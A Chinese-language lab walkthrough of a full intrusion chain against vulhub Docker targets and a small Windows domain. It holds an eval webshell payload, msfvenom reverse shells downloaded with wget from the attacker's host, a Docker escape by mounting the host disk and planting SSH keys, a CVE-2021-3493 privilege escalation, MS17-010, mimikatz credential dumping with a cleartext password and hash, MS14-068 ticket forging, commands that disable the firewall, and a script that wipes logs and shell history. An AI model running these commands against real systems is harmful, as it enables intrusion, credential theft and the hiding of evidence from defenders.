直接开干
先进入ubuntu启动web
先开启3个环境
命令:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
nmap -sS -T4 192.168.1.0/24
发现目标:192.168.1.10 除了22端口 2001-2003全是web服务
nmap扫描发现目标主机
访问2003端口 是一个phpmyadmin
尝试日志文件Getshell
1.利用SQL查询查询 select '<?php eval($_POST['cmd']);?>',将查询后的网页cookie
phpmyadmin:f29ab8338e5bebece0edf526c14416c4记录
2.包含Php-session文件getshell
http://192.168.1.10:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
尝试将general log改为yes,提醒我们没有权限,好吧,日志文件getshell这条路是行不通了
利用百度搜索发现,phpmyadmin4.8.1后台存在漏洞CVE-2018-12613,利用Poc验证本服务器是否存在
成功包含,存在此漏洞
漏洞利用
打开2002端口 是一个tomcat页面 版本是8.5.19
尝试put方法拿shell
冰蝎连接
成功getshell
先打开2001端口的web
是一个上传界面
我们先随便上传一个文件
上传之后发现后缀是.action的
推测是struts2框架
然后使用漏洞工具探测一波
发现存在漏洞 且可执行命令 用msf上线
先在kali上生成msf木马 然后开一个http服务 将马放在服务上 供目标远程下载 因为目标出网
然后目标远程下载 执行下载命令
然后msf开启监听
然后在目标上执行shell.elf 先给权限
然后执行
然后kali 收到会话
发现是172开头的
怀疑是docker 先判断一波
用命令 cat /proc/1/cgroup
判断docker方法:
确定是在docker中 所以进行docker逃逸
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
python -m SimpleHTTPServer 80
命令:
wget http://192.168.1.11/shell.elf
命令:
use exploit/multi/handler
set lhost 0.0.0.0
set lport 6666
set payload linux/x86/meterpreter/reverse_tcp
run
命令:
1、使用下面命令,查看是否存在 dockerrnv 文件 ls -alh /.dockerenv
2、查看系统进程的cgroup信息 cat /proc/1/cgroup
1、Struts2框架漏洞Getshell
2、Tomcat任意文件上传(CVE-2017-12615)Getshell
3、PhPMyadmin CVE-2018-12613
Getshell
先查看版本
根据志哥的wp 发现有一个新的exp可以提权 CVE-2021-3493
EXP下载地址:https://github.com/briskets/CVE-2021-3493
影响版本
编译并上传到服务器exp
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
gcc exploit -o exp
python3 -m http.server 80
chmod 777 exp
./exp 失败...推测环境不一致导致编译后无法在目标主机环境运行,上传exploit.c,尝试在服务器上编译使用
http://192.168.1.11:80/exploit.c
gcc exploit.c -o exp
./exp
然后重新弹一个root的shell回去
先在kali中生成密钥 创建一个key文件
然后将密钥复制
然后写入目标的.ssh目录下
命令:
然后用kali连接ubuntu
cp -avx /shell/home/ubuntu/.ssh/id_rsa.pub /shell/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= [email protected]' > /hack/home/ubuntu/.ssh/authorized_keys
cat /hack/home/ubuntu/.ssh/authorized_keys
这里要注意连接的时候需要根据生成key时候的名字 hack
利用fdisk -l 查看挂载盘
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上
mkdir shell
mount /dev/sda1 shell
挂载成功,我们此时可以查看、修改宿主机的某些文件了。
写入ssh密钥进行docker逃逸
ubuntu提权
先生成一个正向的shell 上传到pc win7上 然后copy到dc上
关闭dc防火墙
sc \WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \WIN-ENS2VR5TR3N start unablefirewall
然后将bind.exe传到dc
msf创建监听
创建服务执行msf马:
不知道是我的操作问题 还是环境问题 我一直出毛病
最后始终连不上
后面的操作 也没多难 执行拿下dc 抓hash 抓密码等 就不继续操作了
sc \WIN-ENS2VR5TR3N.demo.com create shell binpath= "c:\bind.exe" 创建执行正向shell的进程sc \WIN-ENS2VR5TR3N.demo.com start shell 启动可以执行正向shell的服务
use auxiliary/scanner/smb/smb_ms17_010
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.130-131
run
看样子两台都可能有 先打131
拿下131
开始域内信息收集:
但执行域内信息收集的时候出现问题 一直报错
通过问志哥发现 说是当前用户不在域内 换一个用户收集
通过systeminfo发现当前是pc机 还有一个机器应该就是域控
先进行进程迁移到一个域用户
迁移成功
现在就能成功进行相关的域信息收集
找到域控机器
ip 192.168.183.130
DC机器名:WIN-ENS2VR5TR3N.demo.com
域管用户 administrator
域用户sid
切换回高权限 然后用kiwi抓取密码
抓取到了域用户的明文密码和hash 但是没有抓到域管的
使用smb连接了 但是无法执行命令
所以利用ms14-068域内漫游
切换到域用户然后上传exe
然后执行 利用ms14-068生成票据: ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
然后利用mimiaktz将凭据导入内存
这里需要先清除目标的凭据
mimikatz # kerberos::ptc [email protected]ache
然后dir \WIN-ENS2VR5TR3N.demo.com\c$
凭据生效
这里图贴错了 不影响
demo\douser S-1-5-21-979886063-1111900045-1414766810-1107
douser:Dotest123ntml:bc23b0b4d5bf5ff42bc61fb62e13886e sha1:c48096437367aad00ac2dc70552051cd84912a55
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
use auxiliary/scanner/portscan/tcp
set ports 135,445,80,443,1433,3306,53,8080,8888,7001 # 将常用端口添加并扫描set rhosts 192.168.183.130-131 #探测两台服务器
130开了53 135 445
131开了135 445
因为都开 了135 445 用永恒之蓝扫一波
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.183.0/24
set timestampoutput 5 设置最大超时时间为5s
发现两个存活主机 以及域名demo
use auxiliary/server/socks_proxy
set srvhost 192.168.1.11
set version 4a socks版本
run
发现路由
添加路由 命令:run autoroute -s 192.168.183.0/24
开启socks代理
信息收集 探测存存活主机
探测主机存活端口
永恒之蓝
漫游DC
1.查看事件日志run event_manager -i
2.删除事件日志run event_manager -c
3.clearv命令清除目标系统的事件日志。
清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
Linux
Windows